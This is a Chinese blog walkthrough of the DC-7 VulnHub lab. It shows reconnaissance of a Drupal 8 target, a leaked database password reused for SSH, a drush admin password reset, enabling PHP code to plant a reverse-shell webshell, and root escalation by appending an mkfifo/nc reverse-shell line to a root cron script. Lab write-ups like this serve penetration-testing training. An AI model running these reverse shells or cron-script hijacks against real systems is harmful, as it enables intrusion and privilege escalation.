DC-7靶场练习记录

信息收集笔记 建站四大件:操作系统、数据库、中间件、脚本语言 1.操作系统选择 Windows2003 2008 Linux red hat FreeBSD Ubuntu等 如何区分网站服务器是Linux还是windows:windows不区分大小写,Linux区分 TTL值介乎于110-128之间的,基本我们可以判断为是Windows系列的操作系统 TTL值介乎于50-64之间的,基本我们可以判断为是Linux/CentOS/FreeBSD等操作系统。 Linux系统的TTL值计算方法是 (64-所过路由数量 阅读详情

DC-7靶场练习记录

PS1:欢迎来到我的博客:https://littlewith.github.io/
PS2:欢迎来到我的主页:https://littlewith.top/
博客文章会同步更新。
注:本文章仅作交流学习使用,请勿用于非法用途,否则后果自负!!!



0x00环境准备

  1. DC-7靶场信息:

Description
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn’t an overly technical challenge, it isn’t exactly easy.
While it’s kind of a logical progression from an earlier DC release (I won’t tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. 😃 If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.
What you will need to do, is to think “outside” of the box.
Waaaaaay “outside” of the box. 😃
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

  1. 攻击机:Kali Linux 2022.1
  2. 靶机:DC 7
    为了模拟真实公网环境,需要确保靶机和攻击机均使用NAT模式,并且和主机安装在同一个网段下,模拟环境采用vmware虚拟机进行搭建,而且两者能进行相互通信。

0x01信息搜集

目前已知的黑客主机的ip为192.168.23.131,此时我们并不知道靶机的具体网址,我们可以使用fscan工具来对靶机进行扫描。

我们先去Github上面下载fscan工具,然后重命名为fscan,接着使用-h [网段] 的方式进行自动扫描。

    ./fscan -h 192.168.23.0/24

scan

此时排除本机ip,结合title:"Welcome to DC-7"即可发现靶机的地址192.168.23.129,同时我们还可以发现主机开放了80端口和22端口,意味着运行了web服务,我们接下来访问靶机的ip,发现了web主页:
web

根据主页的提示,它提示我们"out side the box !“,并告诉我们不能强力爆破出密码。通过插件"Wapplyazer”,我们可以得到的信息是:这个网站的操作系统是Debian,使用的是Apache服务器,并且采用了php语言编写的后端,最重要的是识别到了使用的CMS为Drupal 8,同时我们还发现了该网站作者名字叫@DC7USER
wapalyazzer

那么按照惯例,接下来就该扫描网站的目录了,我们使用dirsearch工具进行目录扫描,使用的命令为:

    dirsearch -u http://192.168.23.129

显然扫描出了很多的结果,经过分析后,提取出了一些有用的结果:

首先是包含的信息文件:

  • robots.txt==>包含了一些网站的路由
  • web.config==>包含了一些网站登录信息
  • README.txt==>网站CMD建立时候的自述文件
  • INSTALL.txt==>网站CMS安装指南
  • 各种数据文件.sql(1.sql、2.sql等)

在robots.txt、dirsearch中间还扫描出了一些可能有作用的路由:

  • /user/login
  • /user/register
  • /comment/reply
  • /search
  • /core

通过web.config目录,我们发现了网站对于这些请求的rewrite过滤规则:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OyCQ6kNi-1677158365098)(./rewrite.png)]

该规则显示,本网站过滤了一堆相关的字符串,统一返回403forbidden,经过验证发现,上方出现的路由几乎都被拦截了。

总的来说,到此为止收集到的信息有以下几点:

  1. 所有的.sql文件均无法进行读取,统一返回了403错误码
  2. 存在登录页面/user/login,但是我们无法获得用户名和密码,并且注册需要管理员权限,直接访问会显示无法注册
  3. 重置密码使用的是邮箱验证码,也无法进行SQL注入修改密码等
  4. 在web.config、robots.txt、README.txt和INSTALL.txt文件中我们可以更加确定使用的CMS是Drupal 8
  5. 网站作者名字叫@DC7USER

我们从网络上搜索这个作者,发现了他的Github主页:
mainpage

这里有个项目,经过查找发现了网站的配置信息找到config.php,似乎还发现了密码:

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

联系到之前的开放端口22,想到ssh登录,下面将尝试登录主机。


0x02开始渗透

尝试ssh进行登录,OK,成功拿到了shell。
getshell

常规思路,接下来尝试sudo提权,发现该用户关闭了sudo权限,提示无法找到sudo,尝试find提权依然失败。

那么接下来尝试使用matasploit对靶机进行提权。
(事实证明msf框架提权失败)

继续尝试,在home目录发现了一个backups目录,里面含有gpg加密的文件,应该是个备份文件,旁边还存着加密的日志mbox。我们查看一下日志文件,发现加密的脚本文件是存在一个指定的目录/opt/scripts/backups.sh下的:
ssh

随后我们找到并且查看这个脚本文件,发现了脚本文件的内容。
backup

其中,文件显示作者使用了gpg对文件进行了加密,并且使用drush命令对网站进行了配置,drush命令是drupal框架的一个命令,可以更改网站的密码。该脚本是自动执行的,每隔十五分钟就运行一次。dc7user无法改变密码,但是这个脚本却可以!说明这个脚本肯定不是普通用户权限!查看了之后,发现它所属组是www-data,也就是网页的用户。那么我们可能需要去网页进行提权了。

我们使用刚刚发现的drash把密码改了。

cd /var/www/html
drush user-password admin --password="haha123"

成功更改了密码!接着返回到网页进行登录尝试,成功进入了后台!
backend

接着找找看有无文件上传点、php注马等的东西,找到了一个位点可以写原生的页面的地方,但是似乎写入的php代码,不起作用,直接原文显示了:
phpshell

后来我查阅了相关资料,发现Drupal 8 为了安全,需要安装相关的php拓展才能运行php文件,那么我们就去extension选项中安装相应的php拓展就行:

打开这个网址下载php的拓展,一定得是.tar.gz格式的,然后直接进行本地安装,发现安装成功!
php_ext

回到extend页面,往下拉,找到php filter并且勾选启用拓展,那么此时我们再次刷新,发现php代码已经可以被解析了!此时回到原来的编辑器,把Text format改为PHP Code,然后保存刷新,成功执行,代码消失了。
addext

我打开我的中国蚁剑,看看能不能连上,发现不行,网页提示出错,也不像php的报错,应该是被网站的CMS给拦截了,不给执行。提示的信息如下:“The website encountered an unexpected error. Please try again later.”。

那么既然不给使用一句话木马,那么就直接把php写成木马,尝试在网页中写入反弹shell的木马,使用nc进行监听。
fantan

在terminal中输入:

nc -lvp 2333

然后,webshell反弹成功!
nc_shell

接下来的思路即为提权。通过上面的分析我们发现,root用户会定期执行backups.sh脚本,而此时用户www-data存在着写权限,那么即可尝试将反弹shell的脚本写入backups.sh脚本,那么等待反弹即可获得root权限,由计划任务可知,这个脚本每过15分钟即执行一次。
ft_success

写入反弹shell脚本:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.9 7777 >/tmp/f" >> /opt/scripts/backups.sh

反弹成功!!!!
down

最后以root的身份执行权限,到root目录下,即可拿到thekey.txt,查看即可拿到最终的答案,渗透测试结束!拿下!
final


注:在渗透过程中我还尝试了使用msf框架进行攻击,但是最后一无所获,个人建议还是提升自己的实力比较好,少用大量的脚本框架!


记录渗透靶场实战【网络安全】 第一次写靶场实战的文章,有不足之处还请多多指教。本次实战的靶场是红日安全vulnstack系列的第二个靶场。 靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 环境搭建 网络环境 网卡配置 只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。 DC IP:10.10.10.10 (VMnet5) OS:Windows 2012(x64) WEB IP1:192.168.111.80 (VMnet6) IP2:10.10.10.80 (VM 阅读详情

相关推荐

DC-6靶场下载及渗透实战详细过程(DC靶场系列)

dc-6靶场详细渗透过程

金 帛的博客 2051

运行Drupal项目的php文件,在浏览器显示The website encountered an unexpected error. Please try again later.

报错: The website encountered an unexpected error. Please try again later. 原因: 数据库连接有问题,数据库没开,或者看看setting.php的数据库连接配置 解决方案: Setting.php的话检查图片中代码位置的数据库有没有写错 ...

Tolvena的博客 4472

运算放大器 VS 仪表放大器

运算放大器(Operational Amplifier, 简称 Op Amp)和仪表放大器(Instrumentation Amplifier, 简称INA)在电子电路设计中都有非常广泛的应用,但两者在结构、特性以及应用场景上都有明显的区别。以下是它们之间主要的差异:运算放大器(Op Amp)仪表放大器(INA)运算放大器仪表放大器运算放大器仪表放大器运算放大器仪表放大器运算放大器仪表放大器总之,运算放大器是通用型放大元件,需要设计者自己做额外的电路配置;而仪表放大器则是针对高精度测量差分信号而生,内部匹配

chinahongjiang的博客 1347

Drupal 9 迁移中的出错信息 1 Composer detected issues,2 The website encountered an unex,3 Not Found...,及解决方法

环境:Debian 9,Apache,PHP 7.2,7.3,7.4 任务:把在LAN里装好的Drupal 9.0.7搬到云服务器 Composer detected issues in your platform: Your Composer dependencies require a PHP version “>= 7.3.0” 把sql 和 HTML 搬到云上,放到相应位置,设好虚拟主机,打上网址就出现上面的错误, 虚拟主机的PHP版本设置成php 7.3以后,出现下面的错误: The we

OKailon的博客 1629

STM32F103C8T6+HX711:手把手教你打造高精度智能体重秤(附完整代码)

本文详细介绍了如何使用STM32F103C8T6微控制器和HX711称重模块构建高精度智能体重秤,涵盖硬件选型、电路设计、软件开发到无线数据传输的全过程。通过完整的代码示例和校准方法,帮助开发者快速实现毕业设计或商业项目,打造具备物联网功能的智能健康设备。

h6i7j8的博客 1028

LTE网络下的SMS收发(SMS Over SGs方案的详细流程)

关键词: IMS,SMS, LTE, MSC, MME, EPS,eNodeB, SMS Over SGs, SMS Over IMS 2G时代由于采用了比较复杂的CS/PS域架构,所以SMS(短信)作为上个世纪的产物,一直寄居在2G的CS域架构下。看看核心网的配置,其实SMS的收发还是比较复杂的。 介绍下面的信息之前你需要去百度一下这些关键词,这里我只说明比较重要的三个单元 MS 移动终端...

kevin的博客 2万+

Drupal 网站突然出现PDOException错误

Error The website encountered an unexpected error. Please try again later. Error message PDOException: SQLSTATE[HY000] [2002] No such file or directory in lock_may_be_available()(line 167 o

e_zhiwen的专栏 7018

Unity PBR实战:从零打造丝绸材质各向异性高光效果

本文详细介绍了在Unity中实现丝绸材质各向异性高光效果的PBR实战技巧。通过改造Standard Shader、适配IBL环境光以及高级效果调优,开发者可以创建出逼真的丝绸材质,展现动态光纹变化。文章包含关键代码示例和参数配置建议,特别适合需要提升材质表现力的Unity开发者。

weixin_29015483的博客 461

Webug3.0通关笔记07 第七关:越权

本文通过《webug3靶场第七关 越权》来进行越权渗透实战。

mooyuan的网络安全博客 829

(入门向)在Ubuntu22.04.3安装Matlab2021b,以及无法安装在当前目录下的解决办法(见最后)

还有这个/usr/local是只读状态,我试过sudo chmod..去改那个文件的读,结果还是安装不了,我不是这个默认路径,因为它文件夹还是只读,于是我在matlab2021b下创了一个bin,并选上。输入完成后,依次按y,因为里面有三个文件,他会让你确定3次密码,直接yyy跳过即可。你可能会遇到装不下的情况,这个软件占30g,可是你分配给虚拟机就剩10g。,于是我去Downloads下建了一个matlab2021b文件夹,果然好使,3).此时,会提示你输入密码,因为这个rar是有密码的,

harrype的博客 7286

前端使用二开Thingsboard一、二、三事(四)-部件库

以项目实战为基础,逐步介绍前端在thingsboard系统二次开发中的一些注意事项以及一些thingsboard一些页面功能讲解,为前端人员开发使用thingsboard提供一种可靠思路,打造一个完美的物联网系统。

weixin_43163457的博客 741

vulnhub靶场【DC系列】之7

对于信息收集时,源码泄露能否会寻找,这里是通过一个作者名搜索到gihub的项目对于提权时,发现的东西都要去试一试,这里先测试exim4不行后,再下手脚本文件对于脚本文件的所属者和所属组要搞清楚,这里dc7user不属于www-data组,所以还需要获取www-data用户的反弹shell,那么就需要从网站下手对于drush和drupal是配合使用的,所以简单了解drush的增删改查即可drupal 8下载扩展模块,可以自己选择,不过出于安全,版本8没有php,所以可以安装php通过php。

China_I_LOVE的博客 1402

【云原生技术】helm中Chart.yaml、values.yaml、_helpers.tpl 各自的写法与作用

Chart.yaml、values.yaml、_helpers.tpl 各自的写法与作用 在一个标准的 Helm Chart 中,通常会包含以下关键文件: - **Chart.yaml** - **values.yaml** - **templates/`_helpers.tpl`** - 以及若干模板文件(`deployment.yaml`、`service.yaml` 等) 下面分别介绍这几个文件的作用、常见字段及其含义。

weixin_46453070的博客 752

vulnhub DC7 靶场练习

前言 这次练习的靶机是vulnhub平台下的DC系列靶机第7台,下载地址为https://www.vulnhub.com/entry/dc-7,356/。挑战该靶机的最终目的是获取root权限,然后读取唯一的flag。这台靶机中用暴力破解成功的概率非常小,我们需要开阔思路,寻找非技术上的方法。 虚拟机配置 这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-6靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。 收集

鸥鹭忘机 1913

点云处理实操(四) -PCL中的点云三角化

点云处理实操(四) -PCL中的点云三角化

cangqiongxiaoye的博客 939

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

【DC7靶场通关详细记录】

DC7主机渗透靶场-----代码托管平台源码信息泄露;Drush可以对数据库进行操作drush user-password username --password=“new_password” //更改密码;创建用户计划任务提权的前提:有计划任务,计划任务root执行,当前用户对计划任务执行的文件可以写入

博客 1680

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【DC3靶场通过详细记录】

DC3靶场通关记录-----sqlmap的使用:sql注入john爆破密码:对加密的密码进行解密msf的使用:生成反弹shell的木马和进行反弹shell监听linux内核漏洞检测脚本:linux-exploit-suggester.sh,可以直接在github下载,下载链接。

博客 2705

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

DC1靶场练习记录

Vulnhub系列靶场攻略,第一期DC-1

Andytoe的博客 386

【DC1靶场通关详细记录】

主机渗透DC系列靶场-DC1靶场通关详情记录:使用msf直接对CMS的漏洞进行攻击,find的suid提权方法。

博客 961

【DC5靶场通关详细记录】

dc5靶场通关记录---文件包含漏洞,screen漏洞提权

博客 4116

记录自己在[vulnhub]靶场DC-1的渗透测试

第一次接触渗透测试的综合靶场,总体感觉来说体验还不错,这可以提升我们实战的能力我是根据其他博主的流程慢慢的来的,想着记录一下,方便自己回顾废话不多说,我就把自己的解题记录给大家看。

2302_78903258的博客 1512

Vulnhub靶场DC-4练习

netdiscover探测目标主机ip。nmap探测开放端口和服务。dirsearch查看网站目录结构。利用burpsuite的Intruder模块,弱口令爆破站点的登录密码。命令执行,反弹shell。hydra爆破ssh。teehee提权。

Reset 1202

【DC2靶场通关详细记录】

DC2靶场通关----使用cewl工具抓取网站内容生成密码字典cewl 网址 -w pass.txt使用wpscan枚举用户和爆破用户的登陆密码wpscan --url 网址 -e u和wpscan --url 网址 -U 用户名字典 -P 密码字典rbash绕过的方法:使用vi绕过rbashvi进入vi后:shellsudo提权方法!/bin/bash。

博客 1655

DC爆破靶场练习

本文详细记录了一次渗透测试过程:首先通过VirtualBox搭建靶场环境,使用fping扫描发现靶机IP。Nmap扫描显示开放22和80端口,Dirb和Gobuster目录扫描发现/secret/evil.php漏洞页面。通过FFuf工具爆破出command参数实现漏洞利用,获取用户凭证后尝试SSH连接。对用户私钥使用John爆破获得密码"unicorn",成功登录后通过find命令发现可写passwd文件,修改root密码实现提权。整个过程涵盖了信息收集、

Ryana2的博客 613

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程) 从信息收集到拿到低权限,最后提权获取最高权限,详细解读

qq_51577576的博客 3065

DC1靶场练习过程

(1)搭建好靶场以后,网络适配器调成NAT模式,记录下DC1的MAC地址(2)开启DC1界面如下,没有账户和密码无法登录(3)使用nmap进行主机发现,对应MAC地址找到DC1对应IP为192.168.13.160(4)进行端口扫描发现开放端口为 22,80,111(5)访问80端口,利用插件查看web构架(6)进行敏感目录扫描扫描后发现如下目录,但除了发现数据库为mysql外没有其他有用信息至此信息收集部分完成,发现如下信息:操作系统:linux中间件:apache。

ice_rib的博客 1907
上一篇: 给新学习C语言同学的一点建议——如何学好C语言
下一篇: DC-2靶场练习记录
Littlewith
博客等级 码龄5年 205粉丝 61原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值